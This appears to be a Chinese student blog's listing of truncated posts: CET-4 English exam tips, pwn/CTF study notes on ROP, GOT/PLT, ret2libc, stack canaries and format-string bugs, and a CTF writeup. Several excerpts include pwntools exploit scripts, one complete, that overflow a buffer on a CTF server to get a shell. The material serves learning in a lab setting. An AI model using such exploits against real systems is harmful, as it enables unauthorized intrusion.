四级写作备考-万能句子和作文模板
0-写作部分
🐂🐴
每天上午是英语四级时间,下午是pwn的时间。
可惜做完👴的早睡早起计划被打断了。只能抽时间看英语。
1-四六级作文常见题型
图画图表
谚语警句
书信
论说文
2-写作翻译保底原则:
单词语法 正确
2.1-单词正确:
2.1.1-写作中单词处理
写作中所有写不出来的单词,都可以写成自己会的词汇。
反正老师也不知道👴想表达的意思。
举例:(下划线表示不会写的单词
守门员 == sportsman == a man;
养宠物可以减少老人的孤单 == 养宠物可以让老人很 嗨皮 。(别告诉👴你连嗨皮都不会写
keep pets can make old person very happy
2.1.2-翻译不会写的单词处理
1、用该单词的上位词替代:
守门员—球员—运动员—男人—人 (总有一个你会的吧
京杭大运河—运河—河 (不要笑,很正经。真的可以用river代替
a big river from beijing to hangzhou
2、同义词或近义词替换:
shangu是一个非常帅的人。帅不会写可以用近义
帅 == 强壮 == 善 ...
pwn差缺补漏-got.plt-rop-pwntools-延迟绑定啥都有
0-Preview
今天(10.6,虽然写完已经第二天了)就不盲目刷题了,把之前没搞懂的问题和没学的东西都处理一下,为明天学堆做准备。
截止目前,我还是有很多地方学的不是很仔细。
1、ROPgadget 是干什么用的,原理是啥。
2、got 表是啥,和 plt啥关系。
3、pwntools一些函数作用原理:symbols
4、bss段是啥
5、调试工具
1-基本ROP
由于NX开启不能在栈上执行shellcode,我们可以在栈上布置一系列的返回地址与参数,这样可以进行多次的函数调用,通过函数尾部的ret语句控制程序的流程,而用程序中的一些pop/ret的代码块(称之为gadget)来平衡堆栈。
其完成的事情无非就是放上/bin/sh,覆盖程序中某个函数的GOT为system的,然后ret到那个函数的plt就可以触发system('/bin/sh')。由于是利用ret指令的exploit,所以叫Return-Oriented Programming。(如果没有开启ASLR,可以直接使用ret2libc技术)
gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修 ...
未提供libc文件情况下的ret2libc以及黑阔图片
0-Preview
简单的就不记笔记了,有新知识点了我再记录。
今天转战 BUU 。
分出了一点时间去准备英语四级,pwn会少一点。
小贴士:有时候不是nc没连上,是连上了没提示而已,他在等你输入指令回显
1-warmup_csaw_2016
栈溢出,秒了
1.2-exp
123456PYTHONfrom pwn import *io = remote("node4.buuoj.cn",26546)payload = 'a' * 0x48 + p64(0x40060d)io.sendlineafter(">",payload)io.interactive()
2-ciscn_2019_n_1
这道题本来不打算写的。结果exp写好打不通!
仔细一看,他要求覆盖数值是浮点数,得给他转成十六进制数。
可以直接看他的汇编代码,从里面找到数据直接用。
jnz是跳转判断,所以上一句就是对比的代码。从里面可以找到数据的十六进制。
2.2-exp
123456PYTHONfrom pwn import *io = remote( ...
格式化字符串漏洞的补充
0-Preview
今天原本是👴们的英雄联盟时间,不用学习的。但是看着pwn就剩一个题太难受了,强迫症作祟,游戏都不想打了。
1-CGfsb
开了金丝雀,NX,32位。记得用p32打包。
很明显啊,还是个 printf 的漏洞,不会还是格式化字符串漏洞吧,那这个题就可以秒了。
一看伪代码,还真是这个漏洞。
原理可以去看 国庆七天pwn的第二天。
解题思路:
利用格式化字符串漏洞 %p 泄露栈空间计算出偏移量
将要修改数据的地址当做参数,赋值给 name
最后利用 %n 来写入栈,修改 s 的值。
测试一下偏移量:
数了下,是 十 个偏移,接下来就可以写exp了。
1.1 exp
这道题还是有不一样的地方
123456789101112131415161718PYTHONfrom pwn import *context(os='linux',arch='amd64',log_level='debug')elf = ELF("CGfsb")shangu = 1def main(): if shan ...
英语四级备考—如何轻轻松松拿到四级证书
0-Preview
👴不小心报了四级,更不小心还报了四级口语。
👴这次四级考试只许成功不许失败,这次考试的意义十分重大,所以👴必须支棱起来。
报名四级不是想考研,也不是有啥工作啥玩意儿。
主要是!四级过了就可以申请英语免修!!!
👴的计科课本来就多,一周还占了两节英语课,这不是妥妥的浪费时间吗?
如果免修,👴可以省下多少时间去学pwn去学iot啊。
所以说,这次必须过,哪怕牺牲一些比赛和pwn的时间,与四级过了以后多出来的时间相比,简直是百倍收获啊。
1-考试时间
知己知彼百战不殆!
先来看一下考试时间,方便我们做规划。最完美的准备时间是考前两个月,如果离考试有两个月以上的空闲时间的话,基本可以稳过。
两个月多十天;
还是比较紧张的,只要有了两个月的准备时间,就不用太紧张了。
不过我比普通四级要紧张一点,期间还有个口语考试。
也是有一个多月的准备时间,口语还是要准备一下的,毕竟花钱了。
2-时间安排
两个多月,不用太紧张,首先一定不能打乱日常健身和pwn的学习,哪怕一天只看一个 pwn 题,这个习惯千万不能断了。
3-考试时间安排
最最最重要的一件事!四级是排位制算分,即 ...
整数溢出和ret2libc以及造粪机后续
0 Preview
也刚开始学pwn,没打算仔细去看知识然后再刷题。
我是直接上题,然后看wp再学。
更有挑战性,不至于枯燥学不下去。
本文涉及很多新知识点,我终于写了锚点,可以直达标题了。
gets 溢出
整数溢出
ret2libc
1-guess_num
checksec:
保护开的挺齐全,还不是很清楚这几个保护作用是啥,记录一下。
刚好看见个 造粪机 ,大家一起来围观一下,图片放在文章最后。
1.Canary
Canary, 金丝雀。金丝雀原来是石油工人用来判断气体是否有毒。而应用于在栈保护上则是在初始化一个栈帧时在栈底(stack overflow 发生的高位区域的尾部)设置一个随机的 canary 值,当函数返回之时检测 canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生,若改变则说明栈溢出发生,程序走另一个流程结束,以免漏洞利用成功。 因此我们需要获取 Canary 的值,或者防止触发 stack_chk_fail 函数,或是利用此函数。
2.ALSR
Address space layout randomizatio ...
格式化字符串漏洞和造粪机
0 Preview
这篇文章前部分可以跳过,都是很简单的栈溢出,没啥新知识。后面有一道格式化字符漏洞。
直达目录 5 :格式化字符串漏洞
推荐去ctf wiki 看更详细的介绍。
https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/
国庆节,想出去玩,但更想成为pwn👴,所以这七天计划刷一刷 xctf 和 buu 的pwn题。
一个不落下,都记录一下,省的之后又忘了。
在开始之前,先解决一下上一篇 pwn 中本地打不通远程能打通的问题。
1 ubuntu 16 和 18
准确的说是libc2.27的一个坑。
更加详细的可以看这篇文章:http://homura.cc/blog/archives/168
do_system+1094处,有一句movaps指令,一开始并不能理解为什么这条指令会段错误,因为操作数都是合法的地址,后来经过plusls提醒,movaps指令是要求操作数必须16字节对齐,否则就会触发异常。
因为x64的调用约定中,大部分情况下默认是16字节对齐的,gcc编译时分配数组是也会进行16字节对齐, ...
pwn 32和64栈溢出区别以及平衡栈
0 Preview
k4👴 昨天发来了一个链接,我一眼看过去。这比赛卫生巾赞助的?
不出我所料,这比赛简直拉跨,平台都被人搞了,pwn题被删掉。
我也只做了一个pwn,就写一下。
这道题是64位的栈溢出,我起初按照32位的写,怎么都打不通。
于是找了三个题来对比一下这两种的区别。
三道题附件: PWN.zip 提取码:shan
本文涉及知识点:32 和 64 栈溢出区别,平衡栈。
要想PWN学的好,冰球威士忌少不了。(最近健身不能喝酒,就用红牛代替(不是尿
1 Level2
XCTF的题
第一步永远是 checksec
开了NX保护,32位。
IDA 分析一下,一共找到这几个关键字符串
看到这三个字符串就清楚这道题的大致解题思路:
在Input处利用栈溢出漏洞,覆盖函数返回地址,从而调用system函数,将 “ /bin/sh ” 作为参数,从而getshell。
1.1 溢出判断
首先找到溢出的具体函数:
可以看到分配的栈一共是 0x88 字节,但是 read 可以读入 0x100字节的数据。存在栈溢出漏洞。
所以需要 0x88 字节来填充栈,由于本程序为32位,所以还需要 ...
第一届网刃杯WP
签到 welcome!!!
密文,很明显加盐。对称性网站挨个试一下就行。
U2FsdGVkX1+WTSHujcCjvHj/gcwL0C7u37XtW4idGcpci3H913I=
找key,零宽隐写,解密出来是:
试了各种格式,最后发现是计算文件的md5
baby-usb
很简单的键盘流量。
用脚本跑一下:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162PYTHONimport sysimport osDataFileName = "usb.dat"presses = []normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08": ...
数据结构与算法6-双链表 循环链表
0 Preview
为啥要再单开一篇写双链表?
因为单链表写的太多了,翻着麻烦。所以这篇会很短很短。
《夜间破防ctfer借酒消愁》
1 双链表
在线性表的链式存储结构中,每个物理结点增加一个指向后继结点的指针域和一个指向前驱结点的指针域
1.1双链表的优点
🔑从任一结点出发可以快速找到其前驱结点和后继结点;
🔑从任一结点出发可以访问其他结点。
1.2 结点类型DLinkNode声明
123456Ctypedef struct DNode //双链表结点类型{ ElemType data; struct DNode *prior; //指向前驱结点 struct DNode *next; //指向后继结点} DLinkNode;
1.3 双链表插入结点操作
操作语句:
📖 s->next = p->next
📖 p->next->prior = s
📖 s->prior = p
📖 p->next = s
2 双链表算法
2.1 建立双链表
整体建立双链表也有两种方法: ...